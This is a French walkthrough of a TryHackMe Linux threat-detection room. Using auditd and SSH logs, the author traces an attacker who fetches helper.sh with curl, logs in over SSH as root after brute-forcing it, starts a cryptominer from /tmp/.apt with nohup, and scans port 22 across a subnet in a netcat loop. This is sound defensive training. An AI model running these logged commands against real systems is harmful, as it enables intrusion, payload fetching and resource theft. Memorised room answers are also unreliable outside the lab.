Linux Threat Detection 2

Lien vers l’épreuve : https://tryhackme.com/room/linuxthreatdetection2

Medium

Sommaire

Aperçu de la découverte

Utiliser la commande systemd-detect-virt

Quelle est la réponse de la commande ?

systemd-detect-virt
Afficher la réponse
amazon


Maintenant utiliser la commande ps aux

Quel est le chemin complet du binaire antimalware détecté ?

ps aux
Afficher la réponse
[...expurgé pour brièveté...]
root         629 59.5  0.3   7744  3476 ?        Rs   09:38   3:36 /bin/bash /var/lib/ultrasec/[...expurgé...]
[...expurgé pour brièveté...]


Motivation pour les attaques

Depuis quel domaine a été téléchargé l’agent Elastic ?

Pour télécharger quelque chose sur le serveur, l’attaquant a pu utiliser divers méthodes comme wget, curl ou encore scp.

ausearch -i -x wget
Afficher la réponse
----
type=PROCTITLE msg=audit(09/11/25 18:30:48.574:1132) : proctitle=wget https://[...expurgé...]/downloads/beats/elastic-agent/elastic-agent-9.1.3-linux-x86_64.tar.gz 
type=CWD msg=audit(09/11/25 18:30:48.574:1132) : cwd=/home/itsupport 
type=EXECVE msg=audit(09/11/25 18:30:48.574:1132) : argc=2 a0=wget a1=https://[...expurgé...]/downloads/beats/elastic-agent/elastic-agent-9.1.3-linux-x86_64.tar.gz 
type=SYSCALL msg=audit(09/11/25 18:30:48.574:1132) : arch=x86_64 syscall=execve success=yes exit=0 a0=0x647c7d919620 a1=0x647c7d919560 a2=0x647c7d90f550 a3=0x647c7d8bf500 items=2 ppid=3759 pid=3787 auid=itsupport uid=itsupport gid=itsupport euid=itsupport suid=itsupport fsuid=itsupport egid=itsupport sgid=itsupport fsgid=itsupport tty=pts2 ses=170 comm=wget exe=/usr/bin/wget subj=unconfined key=exec


Quel est le chemin complet du script “helper.sh” téléchargé ?

Cette fois, c’est l’utilitaire curl qui a été utilisé.

ausearch -i -x curl
Afficher la réponse
----
type=PROCTITLE msg=audit(09/11/25 18:49:39.513:1270) : proctitle=curl http://drobbox-online.thm/helper.sh -O /[...expurgé...] 
type=CWD msg=audit(09/11/25 18:49:39.513:1270) : cwd=/home/ubuntu 
type=EXECVE msg=audit(09/11/25 18:49:39.513:1270) : argc=4 a0=curl a1=http://drobbox-online.thm/helper.sh a2=-O a3=/[...expurgé...] 
type=SYSCALL msg=audit(09/11/25 18:49:39.513:1270) : arch=x86_64 syscall=execve success=yes exit=0 a0=0x5ebf0ff7bab0 a1=0x5ebf0fe94890 a2=0x5ebf0ff7f680 a3=0x5ebf0ff2d490 items=2 ppid=3905 pid=3914 auid=ubuntu uid=ubuntu gid=ubuntu euid=ubuntu suid=ubuntu fsuid=ubuntu egid=ubuntu sgid=ubuntu fsgid=ubuntu tty=pts3 ses=174 comm=curl exe=/usr/bin/curl subj=unconfined key=exec


Ce dernier est plus susceptible d’être malicieux.

Dota3 : Premières Actions

Quel adresse IP est parvenu à brute-forcer le serveur SSH exposé ?

Les fichiers de logs à analyser se trouvent dans le dossier /home/ubuntu/scenario

grep -i "accepted" auth.log
Afficher la réponse
2025-09-11T21:13:33.020035+00:00 srv-dev sshd[5339]: Accepted password for root from [...expurgé...] port 55185 ssh2
2025-09-11T21:14:28.475913+00:00 srv-dev sshd[5440]: Accepted password for root from [...expurgé...] port 55195 ssh2
2025-09-11T21:25:01.440085+00:00 srv-dev sshd[5838]: Accepted password for root from [...expurgé...] port 55378 ssh2
2025-09-11T21:25:24.013116+00:00 srv-dev sshd[5914]: Accepted password for root from [...expurgé...] port 55382 ssh2
2025-09-11T21:26:22.589035+00:00 srv-dev sshd[5991]: Accepted password for root from [...expurgé...] port 55388 ssh2
2025-09-11T21:26:35.493956+00:00 srv-dev sshd[6050]: Accepted password for root from [...expurgé...] port 55390 ssh2


Quelle commande l’attaquant a utilisé pour listé les derniers utilisateurs connectés ?

Pour cette question, la méthode choisie, bien que d’une efficacité limitée, est de récupérer la liste des “proctitle” dans le fichier audit.log et de retirer les commandes à-priori sans rapport avec la question.

ausearch -i -if audit.log | grep -o "proctitle=.*" | sort | uniq | grep -Ev "grep|uname|bash|cut|date|nc|cat|chmod|find|dir.*|id|ip|ps"

La liste ainsi obtenue, un processus pourrait convenir :

Afficher la réponse
[...expurgé pour brièveté...]
proctitle=bc 
proctitle=expr 1757621384 + 86400 
proctitle=free -m 
proctitle=[...expurgé...] 
proctitle=lscpu 
[...expurgé pour brièveté...]


Pour s’en assurer, le flag --help de la commande permet d’avoir des informations intéressantes.

[...expurgé...] --help
Afficher la réponse
Usage:
 [...expurgé...] [options] [<username>...] [<tty>...]

Show a listing of last logged in users.


Quels sont les 3 ERD que l’attaquant a cherché avec egrep ?

La commande egrep n’a pas été utilisée directement depuis le terminal, et n’apparaît donc pas en cherchant l’exécutable avec ausearch -i -x egrep

ausearch -i -if audit.log | grep "PROCTITLE.*egrep"
Afficher la réponse
[...expurgé pour brièveté...]
type=PROCTITLE msg=audit(09/11/25 21:13:37.725:2129) : proctitle=/bin/sh /usr/bin/egrep --color=auto [...expurgé...] 
type=PROCTITLE msg=audit(09/11/25 21:13:37.726:2130) : proctitle=/bin/sh /usr/bin/egrep --color=auto [...expurgé...] 
type=PROCTITLE msg=audit(09/11/25 21:13:37.727:2131) : proctitle=/bin/sh /usr/bin/egrep --color=auto [...expurgé...] 
type=PROCTITLE msg=audit(09/11/25 21:13:37.727:2132) : proctitle=/bin/sh /usr/bin/egrep --color=auto [...expurgé...] 
type=PROCTITLE msg=audit(09/11/25 21:13:37.727:2133) : proctitle=/bin/sh /usr/bin/egrep --color=auto [...expurgé...]
[...expurgé pour brièveté...]


Dota3 : Mise en place du mineur de cryptomonnaie

Quel est le nom du l’archive malveillante transférée par SCP ?

Une archive suspecte est observée juste après la sollicitation du service SSHD.

ausearch -i -if audit.log | grep "proctitle"
Afficher la réponse
[...expurgé pour brièveté...]
type=PROCTITLE msg=audit(09/11/25 21:14:54.780:2253) : proctitle=/usr/sbin/sshd -D -R 
type=PROCTITLE msg=audit(09/11/25 21:14:55.515:2254) : proctitle=tar xzf [...expurgé...].tar.gz -C /tmp/.apt 
type=PROCTITLE msg=audit(09/11/25 21:14:55.517:2255) : proctitle=tar xzf [...expurgé...].tar.gz -C /tmp/.apt 
type=PROCTITLE msg=audit(09/11/25 21:14:55.518:2256) : proctitle=tar xzf [...expurgé...].tar.gz -C /tmp/.apt 
type=PROCTITLE msg=audit(09/11/25 21:14:55.518:2257) : proctitle=tar xzf [...expurgé...].tar.gz -C /tmp/.apt 
type=PROCTITLE msg=audit(09/11/25 21:14:55.518:2258) : proctitle=tar xzf [...expurgé...].tar.gz -C /tmp/.apt
[...expurgé pour brièveté...]


Quelle est la ligne de commande complète du lancement du cryptominer ?

ausearch -i -if audit.log | grep "proctitle=.*[...expurgé...]"
Afficher la réponse
type=PROCTITLE msg=audit(09/11/25 21:14:55.515:2254) : proctitle=tar xzf [...expurgé...].tar.gz -C /tmp/.apt 
type=PROCTITLE msg=audit(09/11/25 21:14:55.517:2255) : proctitle=tar xzf [...expurgé...].tar.gz -C /tmp/.apt 
type=PROCTITLE msg=audit(09/11/25 21:14:55.518:2256) : proctitle=tar xzf [...expurgé...].tar.gz -C /tmp/.apt 
type=PROCTITLE msg=audit(09/11/25 21:14:55.518:2257) : proctitle=tar xzf [...expurgé...].tar.gz -C /tmp/.apt 
type=PROCTITLE msg=audit(09/11/25 21:14:55.518:2258) : proctitle=tar xzf [...expurgé...].tar.gz -C /tmp/.apt 
type=PROCTITLE msg=audit(09/11/25 21:16:03.850:2331) : proctitle=chmod +x /tmp/.apt/[...expurgé...] 
type=PROCTITLE msg=audit(09/11/25 21:16:08.666:2337) : proctitle=nohup /tmp/.apt/[...expurgé...] 
type=PROCTITLE msg=audit(09/11/25 21:16:08.668:2338) : proctitle=nohup /tmp/.apt/[...expurgé...]


Quelle plage d’adresse IP l’attaquant a-t-il scanné pour trouver un service SSH ?

En filtrant les entrées “proctitle” pour trouver des informations contenant le numéro de port 22 pour le service SSH, il apparaît plusieurs commandes Netcat.

ausearch -i -if audit.log | grep "proctitle.*22 "
Afficher la réponse
type=PROCTITLE msg=audit(09/11/25 21:15:20.512:2283) : proctitle=nohup bash -c for ip in 10.10.12.[...expurgé...]; do nc -zvw1 $ip 22 2>&1 | grep succeeded; done 
type=PROCTITLE msg=audit(09/11/25 21:15:20.513:2284) : proctitle=nohup bash -c for ip in 10.10.12.[...expurgé...]; do nc -zvw1 $ip 22 2>&1 | grep succeeded; done 
type=PROCTITLE msg=audit(09/11/25 21:15:20.513:2285) : proctitle=nohup bash -c for ip in 10.10.12.[...expurgé...]; do nc -zvw1 $ip 22 2>&1 | grep succeeded; done 
type=PROCTITLE msg=audit(09/11/25 21:15:20.513:2286) : proctitle=nohup bash -c for ip in 10.10.12.[...expurgé...]; do nc -zvw1 $ip 22 2>&1 | grep succeeded; done 
type=PROCTITLE msg=audit(09/11/25 21:15:20.513:2287) : proctitle=nohup bash -c for ip in 10.10.12.[...expurgé...]; do nc -zvw1 $ip 22 2>&1 | grep succeeded; done
type=PROCTITLE msg=audit(09/11/25 21:15:20.516:2288) : proctitle=nc -zvw1 10.10.12.[...expurgé...] 22 
type=PROCTITLE msg=audit(09/11/25 21:15:21.521:2292) : proctitle=nc -zvw1 10.10.12.[...expurgé...] 22 
type=PROCTITLE msg=audit(09/11/25 21:15:22.527:2294) : proctitle=nc -zvw1 10.10.12.[...expurgé...] 22 
type=PROCTITLE msg=audit(09/11/25 21:15:23.533:2297) : proctitle=nc -zvw1 10.10.12.[...expurgé...] 22 
type=PROCTITLE msg=audit(09/11/25 21:15:24.538:2299) : proctitle=nc -zvw1 10.10.12.[...expurgé...] 22 
type=PROCTITLE msg=audit(09/11/25 21:15:25.543:2302) : proctitle=nc -zvw1 10.10.12.[...expurgé...] 22 
type=PROCTITLE msg=audit(09/11/25 21:15:26.549:2305) : proctitle=nc -zvw1 10.10.12.[...expurgé...] 22 
type=PROCTITLE msg=audit(09/11/25 21:15:27.555:2308) : proctitle=nc -zvw1 10.10.12.[...expurgé...] 22 
type=PROCTITLE msg=audit(09/11/25 21:15:28.562:2310) : proctitle=nc -zvw1 10.10.12.[...expurgé...] 22 
type=PROCTITLE msg=audit(09/11/25 21:15:29.568:2312) : proctitle=nc -zvw1 10.10.12.[...expurgé...] 22



L’analyse de logs Linux s’étend sur 1 autre box. Pour passer à la suivante :

Epreuve suivante